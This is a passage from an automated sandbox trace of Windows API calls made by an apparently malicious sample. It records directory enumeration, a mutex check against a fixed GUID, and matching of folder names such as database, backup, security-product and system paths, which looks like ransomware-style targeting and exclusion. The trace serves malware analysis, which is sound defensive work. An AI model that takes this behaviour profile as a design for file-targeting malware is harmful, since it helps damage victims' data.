out: lpFindFileData=0x19e918) returned 0 [0279.942] GetLastError () returned 0x12 [0279.942] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0279.942] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.942] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.942] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.942] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.942] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.942] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.942] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.942] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.942] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.942] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0279.942] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0279.943] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.943] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.943] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.943] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.943] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.943] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.943] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.943] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.943] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.943] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.943] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.943] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.943] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.943] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.943] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.943] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.943] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.943] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.944] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.944] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.944] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.944] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.944] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.944] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.944] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.944] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.944] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.944] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.944] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.944] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.944] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.944] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.944] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.944] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.944] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.944] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.944] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.944] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.945] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.945] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.945] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.945] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.945] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.945] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.945] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.945] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.945] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.945] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.945] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.945] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.945] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.945] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.945] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.945] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.945] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.945] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.945] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.946] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.946] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.946] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.946] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.946] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.946] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.946] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.946] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.946] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.946] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.946] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.946] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.946] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.946] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.946] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.946] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.946] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.946] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.946] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.946] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0279.947] GetLastError () returned 0x12 [0279.947] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0279.947] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0279.947] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0279.947] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0279.947] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.947] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.947] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.947] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.947] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.947] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.947] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.947] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.947] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.947] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.947] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.947] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.947] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.948] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.948] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.948] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.948] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.948] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.948] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.948] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.948] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1041", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1041") returned 1 [0279.948] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.948] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.948] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.948] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.948] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.948] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.948] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.948] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.948] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.949] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.949] GetLastError () returned 0x3 [0279.949] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cd90, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0279.949] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.949] GetLastError () returned 0x2 [0279.949] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cd90, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0279.949] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.949] GetLastError () returned 0x2 [0279.949] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0279.950] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.950] GetLastError () returned 0x2 [0279.950] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0279.950] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.950] GetLastError () returned 0x2 [0279.950] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0279.950] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.950] GetLastError () returned 0x2 [0279.950] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0279.951] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.951] GetLastError () returned 0x2 [0279.951] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0279.951] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.951] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.951] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.951] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.951] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.951] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.951] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.951] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.951] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.951] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.951] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0279.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0279.952] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.952] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0279.952] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0279.952] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.952] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0279.952] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0279.952] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.952] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0279.952] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0279.952] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.952] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.952] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.952] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.952] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.952] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.952] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.952] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.952] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.953] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.953] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0279.953] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.953] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0279.953] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.955] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0279.955] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.955] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0279.955] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.955] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0279.955] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.955] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0279.955] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.955] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0279.956] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0279.956] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0279.956] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0279.956] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0279.956] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0279.956] SHGetPathFromIDListW (in: pidl=0x6e4798, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0279.956] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0279.956] IMalloc:Free (This=0x75e4d000, pv=0x6e4798) [0279.956] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0279.956] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0279.956] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.956] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.956] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.957] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.957] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.957] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.957] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.957] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.957] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.957] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da2d0 [0279.957] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.957] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.957] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0279.957] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.957] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.957] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.957] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.957] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.957] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.957] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.957] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.958] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.958] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.958] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.958] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0279.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, 